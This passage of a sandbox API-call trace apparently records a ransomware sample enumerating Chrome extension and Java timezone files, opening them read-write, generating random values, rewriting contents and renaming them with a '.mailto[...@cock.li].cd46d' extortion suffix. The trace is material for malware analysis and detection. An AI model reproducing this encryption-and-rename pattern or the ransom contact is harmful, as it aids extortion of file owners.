Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0188.877] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x397f7b4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.877] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x134e2e80 Thread: id = 7437 os_tid = 0xb24 [0181.649] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json")) returned 0x2020 [0181.649] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json", dwFileAttributes=0x20) returned 1 [0187.210] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb9c [0187.211] GetFileSizeEx (in: hFile=0xb9c, lpFileSize=0x914f854 | out: lpFileSize=0x914f854*=285) returned 1 [0187.211] SetFilePointerEx (in: hFile=0xb9c, liDistanceToMove=0x119, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.211] ReadFile (in: hFile=0xb9c, lpBuffer=0x914f7d8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x914f7d4, lpOverlapped=0x0 | out: lpBuffer=0x914f7d8*, lpNumberOfBytesRead=0x914f7d4*=0x4, lpOverlapped=0x0) returned 1 [0187.212] SetFilePointerEx (in: hFile=0xb9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.212] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af140 [0187.212] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909938 [0187.212] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909280 [0187.212] NtQuerySystemTime (in: CurrentTime=0x914f7b4 | out: CurrentTime=0x914f7b4*=132174899618014000) returned 0x0 [0187.212] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x43982c73 [0187.212] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x66e952d9 [0187.212] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x5dd52b3f [0187.212] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x4ea4f9ca [0187.212] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x24a1e479 [0187.212] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x90a72a2 [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x72ebb60d [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x6b20d164 [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x1a2f7da3 [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x71a7514b [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x5e2c1e41 [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x70dd940e [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x122a7af4 [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x6c1a6f00 [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x7020d307 [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x119c517a [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x2039398 [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x7dc3a0f9 [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x32344aff [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x322d971d [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x7eeca88 [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0xc984633 [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x6e73b51c [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x8793a80 [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x4820afc [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x14382c9f [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x59519081 [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x65c1d756 [0187.213] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x7852b9ce [0187.214] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x17adace9 [0187.214] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x3afebfa2 [0187.214] RtlRandomEx (in: Seed=0x914f7c0 | out: Seed=0x914f7c0) returned 0x1bd85374 [0187.226] ReadFile (hFile=0xb9c, lpBuffer=0x1339d8a0, nNumberOfBytesToRead=0x11d, lpNumberOfBytesRead=0x914f7b0, lpOverlapped=0x0) [0187.226] SetFilePointerEx (in: hFile=0xb9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.226] WriteFile (in: hFile=0xb9c, lpBuffer=0x133aa0a8*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x914f7ac, lpOverlapped=0x0 | out: lpBuffer=0x133aa0a8*, lpNumberOfBytesWritten=0x914f7ac*=0x11d, lpOverlapped=0x0) returned 1 [0189.992] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed30 [0189.992] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af1b8 [0189.992] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af1b8) returned 1 [0189.992] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x133aa0a8) returned 1 [0189.992] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1339d8a0) returned 1 [0189.992] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8bc0) returned 1 [0189.992] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2470) returned 1 [0189.992] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d8898 [0189.993] SetFilePointerEx (in: hFile=0xb9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.993] WriteFile (in: hFile=0xb9c, lpBuffer=0x12cf5ec8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x914f814, lpOverlapped=0x0 | out: lpBuffer=0x12cf5ec8*, lpNumberOfBytesWritten=0x914f814*=0x10b, lpOverlapped=0x0) returned 1 [0190.172] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5ec8) returned 1 [0190.172] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x937fa0) returned 1 [0190.172] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af1b8) returned 1 [0190.172] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8898) returned 1 [0190.172] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed30) returned 1 [0190.172] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909938) returned 1 [0190.172] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909640) returned 1 [0190.172] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909780) returned 1 [0190.172] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17a) returned 0xd4c9d98 [0190.172] wcscpy (in: _Dest=0xd4c9d98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" [0190.172] wcscat (in: _Dest=0xd4c9d98, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0190.173] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x914f7cc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0190.173] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x190) returned 0x935950 Thread: id = 7438 os_tid = 0xb28 [0181.650] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kiev" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\kiev")) returned 0x20 [0182.429] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kiev", dwFileAttributes=0x20) returned 0 [0182.429] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kiev" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\kiev"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0182.429] GetLastError () returned 0x5 [0182.429] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kiev", dwFileAttributes=0x20) returned 0 [0182.429] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1678) returned 1 Thread: id = 7439 os_tid = 0xb2c [0181.651] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Lisbon" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\lisbon")) returned 0x20 [0182.428] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Lisbon", dwFileAttributes=0x20) returned 0 [0182.428] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Lisbon" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\lisbon"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0182.428] GetLastError () returned 0x5 [0182.428] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Lisbon", dwFileAttributes=0x20) returned 0 [0182.428] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8f80) returned 1 Thread: id = 7440 os_tid = 0xb30 [0181.651] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\London" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\london")) returned 0x20 [0182.426] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\London", dwFileAttributes=0x20) returned 0 [0182.427] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\London" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\london"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0182.427] GetLastError () returned 0x5 [0182.427] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\London", dwFileAttributes=0x20) returned 0 [0182.427] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8968) returned 1 Thread: id = 7441 os_tid = 0xb34 [0181.652] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Luxembourg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\luxembourg")) returned 0x20 [0183.729] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Luxembourg", dwFileAttributes=0x20) returned 0 [0183.729] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Luxembourg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\luxembourg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.730] GetLastError () returned 0x5 [0183.730] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Luxembourg", dwFileAttributes=0x20) returned 0 [0183.730] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0680) returned 1 Thread: id = 7442 os_tid = 0xb38 [0181.653] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Madrid" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\madrid")) returned 0x20 [0183.754] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Madrid", dwFileAttributes=0x20) returned 0 [0183.754] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Madrid" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\madrid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.754] GetLastError () returned 0x5 [0183.754] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Madrid", dwFileAttributes=0x20) returned 0 [0183.754] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8cb0) returned 1 Thread: id = 7443 os_tid = 0xb40 [0181.654] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Malta" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\malta")) returned 0x20 [0183.753] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Malta", dwFileAttributes=0x20) returned 0 [0183.753] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Malta" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\malta"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.753] GetLastError () returned 0x5 [0183.753] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Malta", dwFileAttributes=0x20) returned 0 [0183.753] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8788) returned 1 Thread: id = 7444 os_tid = 0xb44 [0181.657] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Minsk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\minsk")) returned 0x20 [0183.749] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Minsk", dwFileAttributes=0x20) returned 0 [0183.749] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Minsk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\minsk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.749] GetLastError () returned 0x5 [0183.749] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Minsk", dwFileAttributes=0x20) returned 0 [0183.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8bc0) returned 1 Thread: id = 7445 os_tid = 0xb48 [0181.658] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Monaco" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\monaco")) returned 0x20 [0183.748] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Monaco", dwFileAttributes=0x20) returned 0 [0183.748] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Monaco" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\monaco"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.748] GetLastError () returned 0x5 [0183.748] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Monaco", dwFileAttributes=0x20) returned 0 [0183.748] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e94a8) returned 1 Thread: id = 7446 os_tid = 0xb4c [0181.659] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Moscow" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\moscow")) returned 0x20 [0183.747] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Moscow", dwFileAttributes=0x20) returned 0 [0183.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Moscow" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\moscow"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.747] GetLastError () returned 0x5 [0183.747] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Moscow", dwFileAttributes=0x20) returned 0 [0183.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9340) returned 1 Thread: id = 7447 os_tid = 0xb50 [0181.660] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Oslo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\oslo")) returned 0x20 [0183.745] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Oslo", dwFileAttributes=0x20) returned 0 [0183.746] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Oslo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\oslo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.746] GetLastError () returned 0x5 [0183.746] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Oslo", dwFileAttributes=0x20) returned 0 [0183.746] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1b48) returned 1 Thread: id = 7448 os_tid = 0xb54 [0181.662] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Paris" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\paris")) returned 0x20 [0183.744] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Paris", dwFileAttributes=0x20) returned 0 [0183.744] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Paris" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\paris"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.745] GetLastError () returned 0x5 [0183.745] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Paris", dwFileAttributes=0x20) returned 0 [0183.745] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8a58) returned 1 Thread: id = 7449 os_tid = 0xb58 [0181.662] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Prague" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\prague")) returned 0x20 [0183.743] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Prague", dwFileAttributes=0x20) returned 0 [0183.743] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Prague" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\prague"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.744] GetLastError () returned 0x5 [0183.744] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Prague", dwFileAttributes=0x20) returned 0 [0183.744] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9160) returned 1 Thread: id = 7450 os_tid = 0xb5c [0181.663] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Riga" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\riga")) returned 0x20 [0183.742] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Riga", dwFileAttributes=0x20) returned 0 [0183.742] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Riga" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\riga"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.742] GetLastError () returned 0x5 [0183.742] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Riga", dwFileAttributes=0x20) returned 0 [0183.743] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0f78) returned 1 Thread: id = 7451 os_tid = 0xb60 [0181.664] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Rome" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\rome")) returned 0x20 [0183.741] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Rome", dwFileAttributes=0x20) returned 0 [0183.741] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Rome" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\rome"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.741] GetLastError () returned 0x5 [0183.741] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Rome", dwFileAttributes=0x20) returned 0 [0183.741] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1838) returned 1 Thread: id = 7452 os_tid = 0xb64 [0181.665] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Samara" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\samara")) returned 0x20 [0183.740] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Samara", dwFileAttributes=0x20) returned 0 [0183.740] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Samara" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\samara"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.740] GetLastError () returned 0x5 [0183.740] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Samara", dwFileAttributes=0x20) returned 0 [0183.740] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, 